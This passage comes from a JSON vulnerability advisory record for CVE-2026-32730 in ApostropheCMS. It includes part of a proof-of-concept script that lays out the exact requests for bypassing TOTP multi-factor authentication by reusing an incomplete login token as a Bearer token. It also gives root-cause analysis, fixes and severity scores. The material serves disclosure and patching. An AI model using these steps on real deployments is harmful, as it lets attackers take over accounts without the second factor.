_id: 'token5', userId: 'user5', requirementsToVerify: ['AposTotp', 'CustomMFA'], expires: new Date(Date.now() + 3600000) },\n  true,  // vulnerable: ACCEPTED (BUG!)\n  false  // fixed: rejected (correct)\n);\nif (bypass2) bypasses.push('Multi-requirement bypass');\n\n// Attack scenario\nconsole.log(`${BOLD}--- Attack Scenario ---${RESET}\\n`);\nconsole.log(`  ${YELLOW}Prerequisites:${RESET}`);\nconsole.log(`    - ApostropheCMS instance with @apostrophecms/login-totp enabled`);\nconsole.log(`    - Attacker knows victim's username and password`);\nconsole.log(`    - Attacker does NOT know victim's TOTP code\\n`);\n\nconsole.log(`  ${YELLOW}Step 1:${RESET} Attacker sends login request with valid credentials`);\nconsole.log(`    POST /api/v1/@apostrophecms/login/login`);\nconsole.log(`    {\"username\": \"admin\", \"password\": \"correct_password\", \"session\": false}\\n`);\n\nconsole.log(`  ${YELLOW}Step 2:${RESET} Server verifies password, returns incomplete token`);\nconsole.log(`    Response: {\"incompleteToken\": \"clxxxxxxxxxxxxxxxxxxxxxxxxx\"}`);\nconsole.log(`    (TOTP verification still required)\\n`);\n\nconsole.log(`  ${YELLOW}Step 3:${RESET} Attacker uses incompleteToken as a Bearer token`);\nconsole.log(`    GET /api/v1/@apostrophecms/page`);\nconsole.log(`    Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\\n`);\n\nconsole.log(`  ${YELLOW}Step 4:${RESET} Bearer token middleware runs getBearer() query`);\nconsole.log(`    MongoDB query: {`);\nconsole.log(`      _id: \"clxxxxxxxxxxxxxxxxxxxxxxxxx\",`);\nconsole.log(`      expires: { $gte: new Date() },`);\nconsole.log(`      $or: [`);\nconsole.log(`        { requirementsToVerify: { $exists: false } },`);\nconsole.log(`        { requirementsToVerify: { ${RED}$ne: []${RESET} } }  // BUG!`);\nconsole.log(`      ]`);\nconsole.log(`    }`);\nconsole.log(`    The token has requirementsToVerify: [\"AposTotp\"]`);\nconsole.log(`    $ne: [] matches because [\"AposTotp\"] !== []\\n`);\n\nconsole.log(`  ${RED}Step 5: Attacker is fully authenticated as the victim!${RESET}`);\nconsole.log(`    req.user is set, req.csrfExempt = true`);\nconsole.log(`    Full API access without TOTP verification\\n`);\n\n// Summary\nconsole.log(`${BOLD}${'='.repeat(64)}`);\nconsole.log(`Summary`);\nconsole.log(`${'='.repeat(64)}${RESET}`);\nconsole.log(`  ${bypasses.length} bypass vector(s) confirmed: ${bypasses.join(', ')}\\n`);\nconsole.log(`  ${YELLOW}Root Cause:${RESET} @apostrophecms/express/index.js line 388`);\nconsole.log(`  The MongoDB query uses $ne: [] which matches NON-empty arrays.`);\nconsole.log(`  The comment says the array should be \"empty or inexistant\",`);\nconsole.log(`  but $ne: [] matches exactly the opposite — non-empty arrays.\\n`);\nconsole.log(`  ${YELLOW}Vulnerable code:${RESET}`);\nconsole.log(`    $or: [`);\nconsole.log(`      { requirementsToVerify: { $exists: false } },`);\nconsole.log(`      { requirementsToVerify: { $ne: [] } }  // BUG`);\nconsole.log(`    ]\\n`);\nconsole.log(`  ${YELLOW}Fixed code:${RESET}`);\nconsole.log(`    $or: [`);\nconsole.log(`      { requirementsToVerify: { $exists: false } },`);\nconsole.log(`      { requirementsToVerify: { $size: 0 } }  // FIX`);\nconsole.log(`    ]\\n`);\nconsole.log(`  ${RED}Impact:${RESET} Complete MFA bypass. An attacker who knows a user's`);\nconsole.log(`  password can skip TOTP verification and gain full authenticated`);\nconsole.log(`  API access by using the incompleteToken as a bearer token.\\n`);\nconsole.log(`  ${YELLOW}Additional Bug:${RESET} The same $ne:[] also causes a secondary`);\nconsole.log(`  issue where tokens with ALL requirements verified (empty array,`);\nconsole.log(`  before the $unset runs) are incorrectly REJECTED. This is masked`);\nconsole.log(`  by the fact that finalizeIncompleteLogin uses $unset to remove`);\nconsole.log(`  the field entirely, so the $exists: false path is used instead.`);\nconsole.log();\nconsole.log();\n\n```\n\nBoth bypass vectors (single and multiple unverified requirements) confirmed.\n\n## Amplifying Bug: Incorrect Token Deletion in `finalizeIncompleteLogin`\n\nA second bug in `@apostrophecms/login/index.js` (lines 728-729, 735-736) amplifies the MFA bypass. When `finalizeIncompleteLogin` attempts to delete the incomplete token, it uses the wrong identifier:\n\n```javascript\nawait self.bearerTokens.removeOne({\n    _id: token.userId  // BUG: should be token._id\n});\n```\n\nThe token's `_id` is a CUID (e.g., `clxxxxxxxxx`), but `token.userId` is the user's document ID. This means:\n\n1. The incomplete token is **never deleted** from the database, even after a legitimate MFA-verified login\n2. Combined with the `$ne: []` bug, the incomplete token remains usable as a bearer token for its full lifetime (default: 1 hour)\n3. Even if the legitimate user completes TOTP and logs in properly, the incomplete token persists\n\nThis bug appears at two locations in `finalizeIncompleteLogin`:\n- Line 728-729: Error case (user not found)\n- Line 735-736: Success case (session-based login after MFA)\n\n## Recommended Fix\n\n### Fix 1: Bearer token query (express/index.js line 388)\n\nReplace `$ne: []` with `$size: 0`:\n\n```javascript\n$or: [\n    { requirementsToVerify: { $exists: false } },\n    { requirementsToVerify: { $size: 0 } }  // FIX: match empty array only\n]\n```\n\nThis ensures only tokens with no remaining requirements (empty array or absent field) are accepted as valid bearer tokens.\n\n### Fix 2: Token deletion (login/index.js lines 728-729, 735-736)\n\nReplace `token.userId` with `token._id`:\n\n```javascript\nawait self.bearerTokens.removeOne({\n    _id: token._id  // FIX: use the token's actual ID\n});\n```",
                    "title": "github - https://api.github.com/advisories/GHSA-v9xm-ffx2-7h35"
                },
                {
                    "category": "description",
                    "text": "ApostropheCMS is an open-source content management framework. Prior to version 4.28.0, the bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement. Version 4.28.0 fixes the issue.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32730"
                },
                {
                    "category": "description",
                    "text": "ApostropheCMS is an open-source content management framework. Prior to version 4.28.0, the bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement. Version 4.28.0 fixes the issue.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32730.json"
                },
                {
                    "category": "other",
                    "text": "0.00055",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.8",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Exploit code publicly available, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5845509",
                    "CSAFPID-5903128"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-v9xm-ffx2-7h35"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-v9xm-ffx2-7h35"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-32730"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32730.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32730"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32730"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-v9xm-ffx2-7h35"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32730"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32730.json"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-v9xm-ffx2-7h35"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-v9xm-ffx2-7h35"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32730"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
                        "baseScore": 8.1,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5845509",
                        "CSAFPID-5903128"
                    ]
                }
            ],
            "title": "CVE-2026-32730"
        }
    ]
}